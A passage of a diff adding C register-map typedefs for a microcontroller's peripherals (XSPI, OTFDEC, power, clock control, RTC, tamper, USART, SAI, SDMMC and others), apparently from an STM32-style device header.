0x114-0x11C */ + __IO uint32_t ABR; /*!< XSPI Alternate Bytes register, Address offset: 0x120 */ + uint32_t RESERVED12[3]; /*!< Reserved, Address offset: 0x124-0x12C */ + __IO uint32_t LPTR; /*!< XSPI Low Power Timeout register, Address offset: 0x130 */ + uint32_t RESERVED13[3]; /*!< Reserved, Address offset: 0x134-0x13C */ + __IO uint32_t WPCCR; /*!< XSPI Wrap Communication Configuration register, Address offset: 0x140 */ + uint32_t RESERVED14; /*!< Reserved, Address offset: 0x144 */ + __IO uint32_t WPTCR; /*!< XSPI Wrap Timing Configuration register, Address offset: 0x148 */ + uint32_t RESERVED15; /*!< Reserved, Address offset: 0x14C */ + __IO uint32_t WPIR; /*!< XSPI Wrap Instruction register, Address offset: 0x150 */ + uint32_t RESERVED16[3]; /*!< Reserved, Address offset: 0x154-0x15C */ + __IO uint32_t WPABR; /*!< XSPI Wrap Alternate Bytes register, Address offset: 0x160 */ + uint32_t RESERVED17[7]; /*!< Reserved, Address offset: 0x164-0x17C */ + __IO uint32_t WCCR; /*!< XSPI Write Communication Configuration register, Address offset: 0x180 */ + uint32_t RESERVED18; /*!< Reserved, Address offset: 0x184 */ + __IO uint32_t WTCR; /*!< XSPI Write Timing Configuration register, Address offset: 0x188 */ + uint32_t RESERVED19; /*!< Reserved, Address offset: 0x18C */ + __IO uint32_t WIR; /*!< XSPI Write Instruction register, Address offset: 0x190 */ + uint32_t RESERVED20[3]; /*!< Reserved, Address offset: 0x194-0x19C */ + __IO uint32_t WABR; /*!< XSPI Write Alternate Bytes register, Address offset: 0x1A0 */ + uint32_t RESERVED21[23]; /*!< Reserved, Address offset: 0x1A4-0x1FC */ + __IO uint32_t HLCR; /*!< XSPI Hyperbus Latency Configuration register, Address offset: 0x200 */ + uint32_t RESERVED22[3]; /*!< Reserved, Address offset: 0x204-0x20C */ + __IO uint32_t CALFCR; /*!< XSPI Full-cycle calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x210 */ + uint32_t RESERVED23; /*!< Reserved, Address offset: 0x214 */ + __IO uint32_t CALMR; /*!< XSPI DLL master calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x218 */ + uint32_t RESERVED24; /*!< Reserved, Address offset: 0x21C */ + __IO uint32_t CALSOR; /*!< XSPI slave output calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x220 */ + uint32_t RESERVED25; /*!< Reserved, Address offset: 0x224 */ + __IO uint32_t CALSIR; /*!< XSPI slave input calibration configuration + HSPI only, invalid for OCTOSPI, Address offset: 0x228 */ +} XSPI_TypeDef; + +typedef XSPI_TypeDef OCTOSPI_TypeDef; + +typedef XSPI_TypeDef HSPI_TypeDef; + +/** + * @brief OTFDEC register + */ +typedef struct +{ + __IO uint32_t REG_CONFIGR; /*!< OTFDEC Region Configuration register, Address offset: 0x20 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_START_ADDR; /*!< OTFDEC Region Start Address register, Address offset: 0x24 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_END_ADDR; /*!< OTFDEC Region End Address register, Address offset: 0x28 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_NONCER0; /*!< OTFDEC Region Nonce register 0, Address offset: 0x2C + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_NONCER1; /*!< OTFDEC Region Nonce register 1, Address offset: 0x30 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR0; /*!< OTFDEC Region Key register 0, Address offset: 0x34 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR1; /*!< OTFDEC Region Key register 1, Address offset: 0x38 + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR2; /*!< OTFDEC Region Key register 2, Address offset: 0x3C + 0x30 * (x -1) (x = 1 to 4) */ + __IO uint32_t REG_KEYR3; /*!< OTFDEC Region Key register 3, Address offset: 0x40 + 0x30 * (x -1) (x = 1 to 4) */ +} OTFDEC_Region_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< OTFDEC Control register, Address offset: 0x000 */ + uint32_t RESERVED1[3]; /*!< Reserved, Address offset: 0x004-0x00C */ + __IO uint32_t PRIVCFGR; /*!< OTFDEC Privileged access control Configuration register, Address offset: 0x010 */ + uint32_t RESERVED2[187]; /*!< Reserved, Address offset: 0x014-0x2FC */ + __IO uint32_t ISR; /*!< OTFDEC Interrupt Status register, Address offset: 0x300 */ + __IO uint32_t ICR; /*!< OTFDEC Interrupt Clear register, Address offset: 0x304 */ + __IO uint32_t IER; /*!< OTFDEC Interrupt Enable register, Address offset: 0x308 */ +} OTFDEC_TypeDef; + + +/** + * @brief Serial Peripheral Interface IO Manager + */ +typedef struct +{ + __IO uint32_t CR; /*!< OCTOSPIM IO Manager Control register, Address offset: 0x00 */ + __IO uint32_t PCR[8]; /*!< OCTOSPIM IO Manager Port[1:8] Configuration register, Address offset: 0x04-0x20 */ +} XSPIM_TypeDef; + +typedef XSPIM_TypeDef OCTOSPIM_TypeDef; + +/** + * @brief Power Control + */ +typedef struct +{ + __IO uint32_t CR1; /*!< Power control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< Power control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< Power control register 3, Address offset: 0x08 */ + __IO uint32_t VOSR; /*!< Power voltage scaling register, Address offset: 0x0C */ + __IO uint32_t SVMCR; /*!< Power supply voltage monitoring control register, Address offset: 0x10 */ + __IO uint32_t WUCR1; /*!< Power wakeup control register 1, Address offset: 0x14 */ + __IO uint32_t WUCR2; /*!< Power wakeup control register 2, Address offset: 0x18 */ + __IO uint32_t WUCR3; /*!< Power wakeup control register 3, Address offset: 0x1C */ + __IO uint32_t BDCR1; /*!< Power backup domain control register 1, Address offset: 0x20 */ + __IO uint32_t BDCR2; /*!< Power backup domain control register 2, Address offset: 0x24 */ + __IO uint32_t DBPR; /*!< Power disable backup domain register, Address offset: 0x28 */ + __IO uint32_t UCPDR; /*!< Power USB Type-C and Power Delivery register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< Power Security configuration register, Address offset: 0x30 */ + __IO uint32_t PRIVCFGR; /*!< Power privilege control register, Address offset: 0x34 */ + __IO uint32_t SR; /*!< Power status register, Address offset: 0x38 */ + __IO uint32_t SVMSR; /*!< Power supply voltage monitoring status register, Address offset: 0x3C */ + __IO uint32_t BDSR; /*!< Power backup domain status register, Address offset: 0x40 */ + __IO uint32_t WUSR; /*!< Power wakeup status register, Address offset: 0x44 */ + __IO uint32_t WUSCR; /*!< Power wakeup status clear register, Address offset: 0x48 */ + __IO uint32_t APCR; /*!< Power apply pull configuration register, Address offset: 0x4C */ + __IO uint32_t PUCRA; /*!< Power Port A pull-up control register, Address offset: 0x50 */ + __IO uint32_t PDCRA; /*!< Power Port A pull-down control register, Address offset: 0x54 */ + __IO uint32_t PUCRB; /*!< Power Port B pull-up control register, Address offset: 0x58 */ + __IO uint32_t PDCRB; /*!< Power Port B pull-down control register, Address offset: 0x5C */ + __IO uint32_t PUCRC; /*!< Power Port C pull-up control register, Address offset: 0x60 */ + __IO uint32_t PDCRC; /*!< Power Port C pull-down control register, Address offset: 0x64 */ + __IO uint32_t PUCRD; /*!< Power Port D pull-up control register, Address offset: 0x68 */ + __IO uint32_t PDCRD; /*!< Power Port D pull-down control register, Address offset: 0x6C */ + __IO uint32_t PUCRE; /*!< Power Port E pull-up control register, Address offset: 0x70 */ + __IO uint32_t PDCRE; /*!< Power Port E pull-down control register, Address offset: 0x74 */ + __IO uint32_t PUCRF; /*!< Power Port F pull-up control register, Address offset: 0x78 */ + __IO uint32_t PDCRF; /*!< Power Port F pull-down control register, Address offset: 0x7C */ + __IO uint32_t PUCRG; /*!< Power Port G pull-up control register, Address offset: 0x80 */ + __IO uint32_t PDCRG; /*!< Power Port G pull-down control register, Address offset: 0x84 */ + __IO uint32_t PUCRH; /*!< Power Port H pull-up control register, Address offset: 0x88 */ + __IO uint32_t PDCRH; /*!< Power Port H pull-down control register, Address offset: 0x8C */ + __IO uint32_t PUCRI; /*!< Power Port I pull-up control register, Address offset: 0x90 */ + __IO uint32_t PDCRI; /*!< Power Port I pull-down control register, Address offset: 0x94 */ + __IO uint32_t PUCRJ; /*!< Power Port J pull-up control register, Address offset: 0x98 */ + __IO uint32_t PDCRJ; /*!< Power Port J pull-down control register, Address offset: 0x9C */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x0A0-0x0A4 */ + __IO uint32_t CR4; /*!< Power power control register 4, Address offset: 0xA8 */ +} PWR_TypeDef; + +/** + * @brief SRAMs configuration controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< Control Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t ISR; /*!< Interrupt Status Register, Address offset: 0x08 */ + __IO uint32_t SEAR; /*!< ECC Single Error Address Register, Address offset: 0x0C */ + __IO uint32_t DEAR; /*!< ECC Double Error Address Register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< Interrupt Clear Register, Address offset: 0x14 */ + __IO uint32_t WPR1; /*!< SRAM Write Protection Register 1, Address offset: 0x18 */ + __IO uint32_t WPR2; /*!< SRAM Write Protection Register 2, Address offset: 0x1C */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t ECCKEY; /*!< SRAM ECC Key Register, Address offset: 0x24 */ + __IO uint32_t ERKEYR; /*!< SRAM Erase Key Register, Address offset: 0x28 */ +}RAMCFG_TypeDef; + +/** + * @brief Reset and Clock Control + */ +typedef struct +{ + __IO uint32_t CR; /*!< RCC clock control register Address offset: 0x00 */ + uint32_t RESERVED0; /*!< Reserved Address offset: 0x04 */ + __IO uint32_t ICSCR1; /*!< RCC internal clock sources calibration register 1 Address offset: 0x08 */ + __IO uint32_t ICSCR2; /*!< RCC internal clock sources calibration register 2 Address offset: 0x0C */ + __IO uint32_t ICSCR3; /*!< RCC internal clock sources calibration register 3 Address offset: 0x10 */ + __IO uint32_t CRRCR; /*!< RCC Clock Recovery RC Register Address offset: 0x14 */ + uint32_t RESERVED1; /*!< Reserved Address offset: 0x18 */ + __IO uint32_t CFGR1; /*!< RCC clock configuration register 1 Address offset: 0x1C */ + __IO uint32_t CFGR2; /*!< RCC clock configuration register 2 Address offset: 0x20 */ + __IO uint32_t CFGR3; /*!< RCC clock configuration register 3 Address offset: 0x24 */ + __IO uint32_t PLL1CFGR; /*!< PLL1 Configuration Register Address offset: 0x28 */ + __IO uint32_t PLL2CFGR; /*!< PLL2 Configuration Register Address offset: 0x2C */ + __IO uint32_t PLL3CFGR; /*!< PLL3 Configuration Register Address offset: 0x30 */ + __IO uint32_t PLL1DIVR; /*!< PLL1 Dividers Configuration Register Address offset: 0x34 */ + __IO uint32_t PLL1FRACR; /*!< PLL1 Fractional Divider Configuration Register Address offset: 0x38 */ + __IO uint32_t PLL2DIVR; /*!< PLL2 Dividers Configuration Register Address offset: 0x3C */ + __IO uint32_t PLL2FRACR; /*!< PLL2 Fractional Divider Configuration Register Address offset: 0x40 */ + __IO uint32_t PLL3DIVR; /*!< PLL3 Dividers Configuration Register Address offset: 0x44 */ + __IO uint32_t PLL3FRACR; /*!< PLL3 Fractional Divider Configuration Register Address offset: 0x48 */ + uint32_t RESERVED2; /*!< Reserved Address offset: 0x4C */ + __IO uint32_t CIER; /*!< Clock Interrupt Enable Register Address offset: 0x50 */ + __IO uint32_t CIFR; /*!< Clock Interrupt Flag Register Address offset: 0x54 */ + __IO uint32_t CICR; /*!< Clock Interrupt Clear Register Address offset: 0x58 */ + uint32_t RESERVED3; /*!< Reserved Address offset: 0x5C */ + __IO uint32_t AHB1RSTR; /*!< AHB1 Peripherals Reset Register Address offset: 0x60 */ + __IO uint32_t AHB2RSTR1; /*!< AHB2 Peripherals Reset Register 1 Address offset: 0x64 */ + __IO uint32_t AHB2RSTR2; /*!< AHB2 Peripherals Reset Register 2 Address offset: 0x68 */ + __IO uint32_t AHB3RSTR; /*!< AHB3 Peripherals Reset Register Address offset: 0x6C */ + uint32_t RESERVED4; /*!< Reserved Address offset: 0x70 */ + __IO uint32_t APB1RSTR1; /*!< APB1 Peripherals Reset Register 1 Address offset: 0x74 */ + __IO uint32_t APB1RSTR2; /*!< APB1 Peripherals Reset Register 2 Address offset: 0x78 */ + __IO uint32_t APB2RSTR; /*!< APB2 Peripherals Reset Register Address offset: 0x7C */ + __IO uint32_t APB3RSTR; /*!< APB3 Peripherals Reset Register Address offset: 0x80 */ + uint32_t RESERVED5; /*!< Reserved Address offset: 0x84 */ + __IO uint32_t AHB1ENR; /*!< AHB1 Peripherals Clock Enable Register Address offset: 0x88 */ + __IO uint32_t AHB2ENR1; /*!< AHB2 Peripherals Clock Enable Register 1 Address offset: 0x8C */ + __IO uint32_t AHB2ENR2; /*!< AHB2 Peripherals Clock Enable Register 2 Address offset: 0x90 */ + __IO uint32_t AHB3ENR; /*!< AHB3 Peripherals Clock Enable Register Address offset: 0x94 */ + uint32_t RESERVED6; /*!< Reserved Address offset: 0x98 */ + __IO uint32_t APB1ENR1; /*!< APB1 Peripherals Clock Enable Register 1 Address offset: 0x9C */ + __IO uint32_t APB1ENR2; /*!< APB1 Peripherals Clock Enable Register 2 Address offset: 0xA0 */ + __IO uint32_t APB2ENR; /*!< APB2 Peripherals Clock Enable Register Address offset: 0xA4 */ + __IO uint32_t APB3ENR; /*!< APB3 Peripherals Clock Enable Register Address offset: 0xA8 */ + uint32_t RESERVED7; /*!< Reserved Address offset: 0xAC */ + __IO uint32_t AHB1SMENR; /*!< AHB1 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xB0 */ + __IO uint32_t AHB2SMENR1; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xB4 */ + __IO uint32_t AHB2SMENR2; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xB8 */ + __IO uint32_t AHB3SMENR; /*!< AHB3 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xBC */ + uint32_t RESERVED8; /*!< Reserved Address offset: 0xC0 */ + __IO uint32_t APB1SMENR1; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xC4 */ + __IO uint32_t APB1SMENR2; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xC8 */ + __IO uint32_t APB2SMENR; /*!< APB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xCC */ + __IO uint32_t APB3SMENR; /*!< APB3 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xD0 */ + uint32_t RESERVED9; /*!< Reserved Address offset: 0xD4 */ + __IO uint32_t SRDAMR; /*!< SRD Autonomous Mode Register Address offset: 0xD8 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0xDC */ + __IO uint32_t CCIPR1; /*!< IPs Clocks Configuration Register 1 Address offset: 0xE0 */ + __IO uint32_t CCIPR2; /*!< IPs Clocks Configuration Register 2 Address offset: 0xE4 */ + __IO uint32_t CCIPR3; /*!< IPs Clocks Configuration Register 3 Address offset: 0xE8 */ + uint32_t RESERVED11; /*!< Reserved, Address offset: 0xEC */ + __IO uint32_t BDCR; /*!< Backup Domain Control Register Address offset: 0xF0 */ + __IO uint32_t CSR; /*!< V33 Clock Control & Status Register Address offset: 0xF4 */ + uint32_t RESERVED[6]; /*!< Reserved Address offset: 0xF8 */ + __IO uint32_t SECCFGR; /*!< RCC secure configuration register Address offset: 0x110 */ + __IO uint32_t PRIVCFGR; /*!< RCC privilege configuration register Address offset: 0x114 */ +} RCC_TypeDef; + +/** + * @brief PKA + */ +typedef struct +{ + __IO uint32_t CR; /*!< PKA control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< PKA status register, Address offset: 0x04 */ + __IO uint32_t CLRFR; /*!< PKA clear flag register, Address offset: 0x08 */ + uint32_t Reserved[253]; /*!< Reserved memory area Address offset: 0x0C -> 0x03FC */ + __IO uint32_t RAM[1334]; /*!< PKA RAM Address offset: 0x400 -> 0x18D4 */ +} PKA_TypeDef; + +/* +* @brief RTC Specific device feature definitions +*/ +#define RTC_BKP_NB 32U +#define RTC_TAMP_NB 8U + +/** + * @brief Real-Time Clock + */ +typedef struct +{ + __IO uint32_t TR; /*!< RTC time register, Address offset: 0x00 */ + __IO uint32_t DR; /*!< RTC date register, Address offset: 0x04 */ + __IO uint32_t SSR; /*!< RTC sub second register, Address offset: 0x08 */ + __IO uint32_t ICSR; /*!< RTC initialization control and status register, Address offset: 0x0C */ + __IO uint32_t PRER; /*!< RTC prescaler register, Address offset: 0x10 */ + __IO uint32_t WUTR; /*!< RTC wakeup timer register, Address offset: 0x14 */ + __IO uint32_t CR; /*!< RTC control register, Address offset: 0x18 */ + __IO uint32_t PRIVCFGR; /*!< RTC privilege mode control register, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< RTC secure mode control register, Address offset: 0x20 */ + __IO uint32_t WPR; /*!< RTC write protection register, Address offset: 0x24 */ + __IO uint32_t CALR; /*!< RTC calibration register, Address offset: 0x28 */ + __IO uint32_t SHIFTR; /*!< RTC shift control register, Address offset: 0x2C */ + __IO uint32_t TSTR; /*!< RTC time stamp time register, Address offset: 0x30 */ + __IO uint32_t TSDR; /*!< RTC time stamp date register, Address offset: 0x34 */ + __IO uint32_t TSSSR; /*!< RTC time-stamp sub second register, Address offset: 0x38 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x3C */ + __IO uint32_t ALRMAR; /*!< RTC alarm A register, Address offset: 0x40 */ + __IO uint32_t ALRMASSR; /*!< RTC alarm A sub second register, Address offset: 0x44 */ + __IO uint32_t ALRMBR; /*!< RTC alarm B register, Address offset: 0x48 */ + __IO uint32_t ALRMBSSR; /*!< RTC alarm B sub second register, Address offset: 0x4C */ + __IO uint32_t SR; /*!< RTC Status register, Address offset: 0x50 */ + __IO uint32_t MISR; /*!< RTC masked interrupt status register, Address offset: 0x54 */ + __IO uint32_t SMISR; /*!< RTC secure masked interrupt status register, Address offset: 0x58 */ + __IO uint32_t SCR; /*!< RTC status Clear register, Address offset: 0x5C */ + uint32_t RESERVED4[4];/*!< Reserved, Address offset: 0x58 */ + __IO uint32_t ALRABINR; /*!< RTC alarm A binary mode register, Address offset: 0x70 */ + __IO uint32_t ALRBBINR; /*!< RTC alarm B binary mode register, Address offset: 0x74 */ +} RTC_TypeDef; + +/** + * @brief Tamper and backup registers + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TAMP configuration register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TAMP configuration register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< TAMP configuration register 3, Address offset: 0x08 */ + __IO uint32_t FLTCR; /*!< TAMP filter control register, Address offset: 0x0C */ + __IO uint32_t ATCR1; /*!< TAMP filter control register 1 Address offset: 0x10 */ + __IO uint32_t ATSEEDR; /*!< TAMP active tamper seed register, Address offset: 0x14 */ + __IO uint32_t ATOR; /*!< TAMP active tamper output register, Address offset: 0x18 */ + __IO uint32_t ATCR2; /*!< TAMP filter control register 2, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< TAMP secure mode control register, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR; /*!< TAMP privilege mode control register, Address offset: 0x24 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x28 */ + __IO uint32_t IER; /*!< TAMP interrupt enable register, Address offset: 0x2C */ + __IO uint32_t SR; /*!< TAMP status register, Address offset: 0x30 */ + __IO uint32_t MISR; /*!< TAMP masked interrupt status register, Address offset: 0x34 */ + __IO uint32_t SMISR; /*!< TAMP secure masked interrupt status register,Address offset: 0x38 */ + __IO uint32_t SCR; /*!< TAMP status clear register, Address offset: 0x3C */ + __IO uint32_t COUNTR; /*!< TAMP monotonic counter register, Address offset: 0x40 */ + uint32_t RESERVED1[4]; /*!< Reserved, Address offset: 0x43 -- 0x50 */ + __IO uint32_t ERCFGR; /*!< TAMP erase configuration register, Address offset: 0x54 */ + uint32_t RESERVED2[42]; /*!< Reserved, Address offset: 0x58 -- 0xFC */ + __IO uint32_t BKP0R; /*!< TAMP backup register 0, Address offset: 0x100 */ + __IO uint32_t BKP1R; /*!< TAMP backup register 1, Address offset: 0x104 */ + __IO uint32_t BKP2R; /*!< TAMP backup register 2, Address offset: 0x108 */ + __IO uint32_t BKP3R; /*!< TAMP backup register 3, Address offset: 0x10C */ + __IO uint32_t BKP4R; /*!< TAMP backup register 4, Address offset: 0x110 */ + __IO uint32_t BKP5R; /*!< TAMP backup register 5, Address offset: 0x114 */ + __IO uint32_t BKP6R; /*!< TAMP backup register 6, Address offset: 0x118 */ + __IO uint32_t BKP7R; /*!< TAMP backup register 7, Address offset: 0x11C */ + __IO uint32_t BKP8R; /*!< TAMP backup register 8, Address offset: 0x120 */ + __IO uint32_t BKP9R; /*!< TAMP backup register 9, Address offset: 0x124 */ + __IO uint32_t BKP10R; /*!< TAMP backup register 10, Address offset: 0x128 */ + __IO uint32_t BKP11R; /*!< TAMP backup register 11, Address offset: 0x12C */ + __IO uint32_t BKP12R; /*!< TAMP backup register 12, Address offset: 0x130 */ + __IO uint32_t BKP13R; /*!< TAMP backup register 13, Address offset: 0x134 */ + __IO uint32_t BKP14R; /*!< TAMP backup register 14, Address offset: 0x138 */ + __IO uint32_t BKP15R; /*!< TAMP backup register 15, Address offset: 0x13C */ + __IO uint32_t BKP16R; /*!< TAMP backup register 16, Address offset: 0x140 */ + __IO uint32_t BKP17R; /*!< TAMP backup register 17, Address offset: 0x144 */ + __IO uint32_t BKP18R; /*!< TAMP backup register 18, Address offset: 0x148 */ + __IO uint32_t BKP19R; /*!< TAMP backup register 19, Address offset: 0x14C */ + __IO uint32_t BKP20R; /*!< TAMP backup register 20, Address offset: 0x150 */ + __IO uint32_t BKP21R; /*!< TAMP backup register 21, Address offset: 0x154 */ + __IO uint32_t BKP22R; /*!< TAMP backup register 22, Address offset: 0x158 */ + __IO uint32_t BKP23R; /*!< TAMP backup register 23, Address offset: 0x15C */ + __IO uint32_t BKP24R; /*!< TAMP backup register 24, Address offset: 0x160 */ + __IO uint32_t BKP25R; /*!< TAMP backup register 25, Address offset: 0x164 */ + __IO uint32_t BKP26R; /*!< TAMP backup register 26, Address offset: 0x168 */ + __IO uint32_t BKP27R; /*!< TAMP backup register 27, Address offset: 0x16C */ + __IO uint32_t BKP28R; /*!< TAMP backup register 28, Address offset: 0x170 */ + __IO uint32_t BKP29R; /*!< TAMP backup register 29, Address offset: 0x174 */ + __IO uint32_t BKP30R; /*!< TAMP backup register 30, Address offset: 0x178 */ + __IO uint32_t BKP31R; /*!< TAMP backup register 31, Address offset: 0x17C */ +} TAMP_TypeDef; + +/** + * @brief Universal Synchronous Asynchronous Receiver Transmitter + */ +typedef struct +{ + __IO uint32_t CR1; /*!< USART Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< USART Control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< USART Control register 3, Address offset: 0x08 */ + __IO uint32_t BRR; /*!< USART Baud rate register, Address offset: 0x0C */ + __IO uint32_t GTPR; /*!< USART Guard time and prescaler register, Address offset: 0x10 */ + __IO uint32_t RTOR; /*!< USART Receiver Time Out register, Address offset: 0x14 */ + __IO uint32_t RQR; /*!< USART Request register, Address offset: 0x18 */ + __IO uint32_t ISR; /*!< USART Interrupt and status register, Address offset: 0x1C */ + __IO uint32_t ICR; /*!< USART Interrupt flag Clear register, Address offset: 0x20 */ + __IO uint32_t RDR; /*!< USART Receive Data register, Address offset: 0x24 */ + __IO uint32_t TDR; /*!< USART Transmit Data register, Address offset: 0x28 */ + __IO uint32_t PRESC; /*!< USART Prescaler register, Address offset: 0x2C */ + __IO uint32_t AUTOCR; /*!< USART Autonomous mode control register Address offset: 0x30 */ +} USART_TypeDef; + +/** + * @brief Serial Audio Interface + */ +typedef struct +{ + __IO uint32_t GCR; /*!< SAI global configuration register, Address offset: 0x00 */ + uint32_t RESERVED[16]; /*!< Reserved, Address offset: 0x04 to 0x40 */ + __IO uint32_t PDMCR; /*!< SAI PDM control register, Address offset: 0x44 */ + __IO uint32_t PDMDLY; /*!< SAI PDM delay register, Address offset: 0x48 */ +} SAI_TypeDef; + +typedef struct +{ + __IO uint32_t CR1; /*!< SAI block x configuration register 1, Address offset: 0x04 */ + __IO uint32_t CR2; /*!< SAI block x configuration register 2, Address offset: 0x08 */ + __IO uint32_t FRCR; /*!< SAI block x frame configuration register, Address offset: 0x0C */ + __IO uint32_t SLOTR; /*!< SAI block x slot register, Address offset: 0x10 */ + __IO uint32_t IMR; /*!< SAI block x interrupt mask register, Address offset: 0x14 */ + __IO uint32_t SR; /*!< SAI block x status register, Address offset: 0x18 */ + __IO uint32_t CLRFR; /*!< SAI block x clear flag register, Address offset: 0x1C */ + __IO uint32_t DR; /*!< SAI block x data register, Address offset: 0x20 */ +} SAI_Block_TypeDef; + +/** + * @brief System configuration controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< SYSCFG secure configuration register, Address offset: 0x00 */ + __IO uint32_t CFGR1; /*!< SYSCFG configuration register 1, Address offset: 0x04 */ + __IO uint32_t FPUIMR; /*!< SYSCFG FPU interrupt mask register, Address offset: 0x08 */ + __IO uint32_t CNSLCKR; /*!< SYSCFG CPU non-secure lock register, Address offset: 0x0C */ + __IO uint32_t CSLCKR; /*!< SYSCFG CPU secure lock register, Address offset: 0x10 */ + __IO uint32_t CFGR2; /*!< SYSCFG configuration register 2, Address offset: 0x14 */ + __IO uint32_t MESR; /*!< SYSCFG Memory Erase Status register, Address offset: 0x18 */ + __IO uint32_t CCCSR; /*!< SYSCFG Conpensaion Cell Control&Status register, Address offset: 0x1C */ + __IO uint32_t CCVR; /*!< SYSCFG Conpensaion Cell value register, Address offset: 0x20 */ + __IO uint32_t CCCR; /*!< SYSCFG Conpensaion Cell Code register, Address offset: 0x24 */ + uint32_t RESERVED1; /*!< RESERVED1, Address offset: 0x28 */ + __IO uint32_t RSSCMDR; /*!< SYSCFG RSS command mode register, Address offset: 0x2C */ + uint32_t RESERVED2[17]; /*!< RESERVED2, Address offset: 0x30 - 0x70 */ + __IO uint32_t OTGHSPHYCR; /*!< SYSCFG USB OTG_HS PHY register Address offset: 0x74 */ + uint32_t RESERVED3; /*!< RESERVED3, Address offset: 0x78 */ + __IO uint32_t OTGHSPHYTUNER2; /*!< SYSCFG USB OTG_HS PHY tune register 2 Address offset: 0x7C */ +} SYSCFG_TypeDef; + +/** + * @brief Secure digital input/output Interface + */ +typedef struct +{ + __IO uint32_t POWER; /*!< SDMMC power control register, Address offset: 0x00 */ + __IO uint32_t CLKCR; /*!< SDMMC clock control register, Address offset: 0x04 */ + __IO uint32_t ARG; /*!< SDMMC argument register, Address offset: 0x08 */ + __IO uint32_t CMD; /*!< SDMMC command register, Address offset: 0x0C */ + __I uint32_t RESPCMD; /*!< SDMMC command response register, Address offset: 0x10 */ + __I uint32_t RESP1; /*!< SDMMC response 1 register, Address offset: 0x14 */ + __I uint32_t RESP2; /*!< SDMMC response 2 register, Address offset: 0x18 */ + __I uint32_t RESP3; /*!< SDMMC response 3 register, Address offset: 0x1C */ + __I uint32_t RESP4; /*!< SDMMC response 4 register, Address offset: 0x20 */ + __IO uint32_t DTIMER; /*!< SDMMC data timer register, Address offset: 0x24 */ + __IO uint32_t DLEN; /*!< SDMMC data length register, Address offset: 0x28 */ + __IO uint32_t DCTRL; /*!< SDMMC data control register, Address offset: 0x2C */ + __I uint32_t DCOUNT; /*!< SDMMC data counter register, Address offset: 0x30 */ + __I uint32_t STA; /*!< SDMMC status register, Address offset: 0x34 */ + __IO uint32_t ICR; /*!< SDMMC interrupt clear register, Address offset: 0x38 */ + __IO uint32_t MASK; /*!< SDMMC mask register, Address offset: 0x3C */ + __IO uint32_t ACKTIME; /*!< SDMMC Acknowledgement timer register, Address offset: 0x40 */ + uint32_t RESERVED0[3]; /*!< Reserved, 0x44 - 0x4C - 0x4C */ + __IO uint32_t IDMACTRL; /*!< SDMMC DMA control register, Address offset: 0x50 */ + __IO uint32_t IDMABSIZE; /*!< SDMMC DMA buffer size register, Address offset: 0x54 */ + __IO uint32_t IDMABASER; /*!< SDMMC DMA buffer base address register, Address offset: 0x58 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x60 */ + __IO uint32_t IDMALAR; /*!< SDMMC DMA linked list address register, Address offset: 0x64 */ + __IO uint32_t IDMABAR; /*!< SDMMC DMA linked list memory base register,Address offset: 0x68 */ + uint32_t RESERVED2[5]; /*!< Reserved, 0x6C-0x7C */ + __IO uint32_t FIFO; /*!< SDMMC data FIFO register, Address offset: 0x80 */ +} SDMMC_TypeDef; + + + +/** + * @brief Delay Block DLYB + */ +typedef struct +{ + __IO uint32_t CR; /*!< DELAY BLOCK control register, Address offset: 0x00 */ + __IO uint32_t CFGR; /*!< DELAY BLOCK configuration register, Address offset: 0x04 */ +} DLYB_TypeDef; + +/** + * @brief UCPD + */ +typedef struct +{ + __IO uint32_t CFG1; /*!< UCPD configuration register 1, Address offset: 0x00 */ + __IO uint32_t CFG2; /*!< UCPD configuration register 2, Address offset: 0x04 */ + __IO uint32_t CFG3; /*!< UCPD configuration register 3, Address offset: 0x08 */ + __IO uint32_t CR; /*!< UCPD control register, Address offset: 0x0C */ + __IO uint32_t IMR; /*!< UCPD interrupt mask register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< UCPD status register, Address offset: 0x14 */ + __IO uint32_t ICR; /*!< UCPD interrupt flag clear register Address 